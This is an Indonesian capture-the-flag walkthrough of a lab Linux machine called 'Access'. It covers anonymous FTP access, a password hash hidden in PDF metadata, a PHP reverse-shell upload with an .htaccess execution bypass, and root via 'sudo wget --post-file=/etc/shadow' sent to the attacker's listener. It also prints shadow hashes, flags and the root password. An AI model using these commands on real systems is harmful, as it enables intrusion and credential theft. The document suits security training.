Mesin ini memberikan kredensial melalui properti sebuah file PDF yang terletak di FTP. Terdapat CMS yang memungkinkan pengunggahan file, namun tidak dapat mengeksekusi file tersebut. Dibutuhkan keterampilan dasar Linux dan steganografi untuk mengonfigurasi agar CMS dapat mengeksekusi shell yang diunggah, serta eksploitasi kemampuan guna mendapatkan akses root.
OS: Linux
nmap -sVC 10.1.2.157 -p-
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.18.201.184
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 1000 1000 1998572 Apr 19 2024 sienna_eborchure.pdf
80/tcp open http Apache httpd 2.4.59 ((Debian))
| http-title: Vien'le - Vien'le
|_Requested resource was http://10.1.2.157/?file=vien-le
|_http-server-header: Apache/2.4.59 (Debian)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-robots.txt: 2 disallowed entries
|_/data/ /docs/
|_http-generator: pluck 4.7.13
Service Info: OS: Unix
Dari port scanning menggunakan NMAP, terdapat 2 port yang terbuka yaitu 21 & 80.
Mencoba akses ke port 21 (FTP) menggunakan kredensial anonymous dan mendapatkan file pdf yang setelah itu diunduh.
┌──(rwx4m㉿Home)-[~/htr/access]
└─$ ftp 10.1.2.157
Connected to 10.1.2.157.
220 (vsFTPd 3.0.3)
Name (10.1.2.157:rwx4m): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||13754|)
150 Here comes the directory listing.
-rw-r--r-- 1 1000 1000 1998572 Apr 19 2024 sienna_eborchure.pdf
226 Directory send OK.
ftp> get sien
421 Service not available, user interrupt. Connection closed.
226 Directory send OK.
Setelah diunduh, melakukan pengecekan berkas dengan menggunakan tools FILE dan EXIFTOOL. Hasil exiftool terdapat sebuah hash password yang diberikan. Seperti password yang dapat digunakan nantinya.
┌──(rwx4m㉿Home)-[~/htr/access]
└─$ file sienna_eborchure.pdf
sienna_eborchure.pdf: PDF document, version 1.6 (zip deflate encoded)
┌──(rwx4m㉿Home)-[~/htr/access]
└─$ exiftool sienna_eborchure.pdf
ExifTool Version Number : 13.10
File Name : sienna_eborchure.pdf
Directory : .
File Size : 1999 kB
File Modification Date/Time : 2024:04:19 09:51:52+07:00
File Access Date/Time : 2025:01:26 04:28:22+07:00
File Inode Change Date/Time : 2025:01:26 04:28:22+07:00
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.6
Linearized : No
Create Date : 2023:11:03 15:37:34-05:00
Modify Date : 2023:11:03 15:45:10-05:00
Has XFA : No
Language : en-US
XMP Toolkit : Image::ExifTool 12.57
Creator : your password is dcb76da384ae3028d6aa9b2ebcea01c9
Format : application/pdf
Producer : Adobe PDF Library 17.0
Trapped : False
Creator Tool : Adobe InDesign 19.0 (Macintosh)
Metadata Date : 2023:11:03 15:45:10-05:00
Derived From Document ID : xmp.did:fb0632d3-6add-4b1a-b098-598e7a92fec5
Derived From Instance ID : xmp.iid:eeff6700-f6c2-4d9e-978d-3266d2f18f41
Derived From Original Document ID: xmp.did:1550a558-fb22-481f-aacd-d74194ac9339
Derived From Rendition Class : default
Document ID : xmp.id:acdd5a12-a4f7-48ec-9f41-b369a2ce03a0
History Action : converted
History Changed : /
History Parameters : from application/x-indesign to application/pdf
History Software Agent : Adobe InDesign 19.0 (Macintosh)
History When : 2023:11:03 15:37:34-05:00
Instance ID : uuid:d0e5e105-fcf6-474b-9773-f60431af9b81
Original Document ID : xmp.did:1550a558-fb22-481f-aacd-d74194ac9339
Rendition Class : proof:pdf
Page Count : 22
Melakukan crack password pada website Crackstation
Mengakses ke port 80 dan masuk pada halaman login. Kata sandi yang digunakan adalah kata sandi yang didapatkan sebelumnya pada file pdf yang telah di crack.
Setelah berhasil masuk, ditemukan manage files yang dapat melakukan unggah file. Setelah berhasil melakukan unggah reverse shell, mencoba mengaksesnya tetapi Forbiedden.
Karena tidak bisa dijalankan, maka perlu melakukan bypass dengan cara membuat file .htaccess. Kemudian mengakses kembali file reverse shell
(Disini saya mengganti file reverse shell juga)
*saat upload file .htaccess, gunakan Win+H untuk dapat memilki file yang tersembunyi pada direktori*
<IfModule mod_php.c>
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
</IfModule>
<FilesMatch "\.(php|phtml|php3|php4|php5|php7|php8)$">
Require all granted
</FilesMatch>
*Sebelum akses reverse shell, aktifkan listener!
Shell didapatkan dan diketahui terdapat user viente
Kemudian mencoba akses user viente menggunakan kata sandi sebelumnya (berhasil login).
Sampai disini, berhasil login dan mendapatkan user flag.
cat user.txt
bfa735005ec4d7637c0faf2ad0859132
Melakukan pengecekan hak user viente dan didapatkan bahwa semua user dapat menjalan wget menggunakan hak SUDO dan tanpa menggunakan password.
viente@Access:~$ sudo -l
sudo -l
Matching Defaults entries for viente on Access:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User viente may run the following commands on Access:
(ALL) NOPASSWD: /usr/bin/wget
Saya melakukan eksfiltrasi file sensitif dari target ke mesin saya dengan menjalankan perintah sudo wget --post-file=/etc/shadow 10.18.201.184 di target untuk mengirimkan file /etc/shadow yang berisi hash password pengguna ke server saya.
Di sisi server, saya mengaktifkan listener dengan perintah nc -lvnp 80 untuk mendengarkan koneksi dan menerima data yang dikirim melalui HTTP POST. Data yang diterima berupa isi file /etc/shadow, termasuk hash password pengguna.
viente@Access:~$ sudo wget --post-file=/etc/shadow 10.18.201.184
sudo wget --post-file=/etc/shadow 10.18.201.184
--2025-01-25 14:05:48-- http://10.18.201.184/
Connecting to 10.18.201.184:80... connected.
HTTP request sent, awaiting response...
┌──(rwx4m㉿Home)-[~/htr/access]
└─$ nc -lvnp 80
listening on [any] 80 ...
connect to [10.18.201.184] from (UNKNOWN) [10.1.2.157] 40700
POST / HTTP/1.1
Host: 10.18.201.184
User-Agent: Wget/1.21.3
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 1097
root:$y$j9T$Hm1APswuPtvtFxKTNpyC/.$FR2jXpIl/lBTi1ZK0iJxEbnEt0QitvPtnyvGMX96VkB:19828:0:99999:7:::
viente:$y$j9T$wpSpKKwUmRxRxA5SIFdSb1$0/p5ScTwK/3/52i63rKMlnhDgKo0UhKVu7TxE6KV7YC:19832:0:99999:7:::
Kemudian melakukan proses cracking menggunakan john.
file passwd.txt: root:x:0:0:root:/root:/bin/bash
file shadow.txt: root:$y$j9T$Hm1APswuPtvtFxKTNpyC/.$FR2jXpIl/lBTi1ZK0iJxEbnEt0QitvPtnyvGMX96VkB:19828:0:99999:7:::
┌──(rwx4m㉿Home)-[~/htr/access]
└─$ ls
passwd.txt revshell.php shadow.txt sienna_eborchure.pdf
┌──(rwx4m㉿Home)-[~/htr/access]
└─$ unshadow passwd.txt shadow.txt > unshadow.txt
┌──(rwx4m㉿Home)-[~/htr/access]
└─$ cat unshadow.txt
root:$y$j9T$Hm1APswuPtvtFxKTNpyC/.$FR2jXpIl/lBTi1ZK0iJxEbnEt0QitvPtnyvGMX96VkB:0:0:root:/root:/bin/bash
Setelah di dapatkan, login sebagai root. Setelah itu berhasil mendapatkan root flag.
viente@Access:/$ su root
su root
Password: toor
id
uid=0(root) gid=0(root) groups=0(root)
cd /root
ls
ril_root.txt
root.txt
cat root.txt
FlAg{H4h4H4_YoU_CaNt_dO_ThAt}
cat ril_root.txt
e952ebf409e34aee308038f555d85049